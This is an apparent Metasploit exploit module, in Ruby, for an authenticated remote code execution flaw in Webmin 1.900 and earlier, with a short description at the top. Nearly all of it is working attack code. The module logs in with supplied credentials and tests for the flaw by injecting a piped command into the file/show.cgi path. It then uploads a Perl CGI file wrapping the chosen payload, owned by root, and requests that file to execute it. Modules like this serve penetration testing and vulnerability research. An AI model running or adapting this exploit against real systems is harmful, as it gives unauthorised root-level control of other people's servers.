This Metasploit module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the Running Processes (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900 on Ubuntu v18.04.
3ba74c7641d287a5a1d6cee6bdb0eff5##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin Upload Authenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Upload and Download"
module can execute arbitrary commands with root privileges.
In addition, if the 'Running Processes' (proc) privilege is set the user can
accurately determine which directory to upload to. Webmin application files
can be written/overwritten, which allows remote code execution. The module
has been tested successfully with Webmin 1.900 on Ubuntu v18.04.
Using GUESSUPLOAD attempts to use a default installation path in order to
trigger the exploit.
),
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, Initial PoC module
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46201'],
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => true
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0)
)
register_options [
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('FILENAME', [false, 'Filename used for the uploaded data']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
##
# Target and input verification
##
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
command = "echo #{rand_text_alphanumeric(0..9)}"
res = send_request_cgi({
'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.message =~ /Document follows/
return CheckCode::Vulnerable
end
CheckCode::Safe
end
##
# Exploiting phase
##
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
##
# Directory and SSL verification for referer
##
phost = ssl ? 'https://' : 'http://'
phost << peer
print_status("Target URL => #{phost}")
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' =>
{
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status 'Searching for directory to upload...'
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
directory = $1
elsif datastore['GUESSUPLOAD']
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
directory = '/usr/share/webmin/'
else
print_error('Failed to determine webmin share directory')
print_error('Set GUESSUPLOAD to attempt upload to a default location')
return
end
directory << 'file'
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
filename << '.cgi' unless filename.end_with?('.cgi')
upload_attempt(phost, cookie, directory, filename)
##
# Loading phase of the vulnerable file
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'file', filename),
'cookie' => "sid=#{cookie}"
})
end
def upload_attempt(phost, cookie, dir, filename)
limit = rand_text_alpha_upper(5..10)
tmpvar = rand_text_alpha_upper(3..8)
code = <<~HERE
#!/usr/bin/perl
$#{tmpvar} = <<'#{limit}';
#{payload.encoded}
#{limit}
`$#{tmpvar}`;
HERE
message = Rex::MIME::Message.new
message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
message.add_part(dir, nil, nil, 'form-data; name="dir"')
message.add_part('root', nil, nil, 'form-data; name="user"')
message.add_part('1', nil, nil, 'form-data; name="group_def"')
message.add_part('', nil, nil, 'form-data; name="group"')
message.add_part('0', nil, nil, 'form-data; name="zip"')
message.add_part('1', nil, nil, 'form-data; name="email_def"')
message.add_part('Upload', nil, nil, 'form-data; name="ok"')
res2 = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
'data' => message.to_s,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'headers' =>
{
'Referer' => "#{phost}/updown/?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good "File #{filename} was successfully uploaded."
register_file_for_cleanup(filename)
else
print_error 'Upload failed.'
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
end
end
end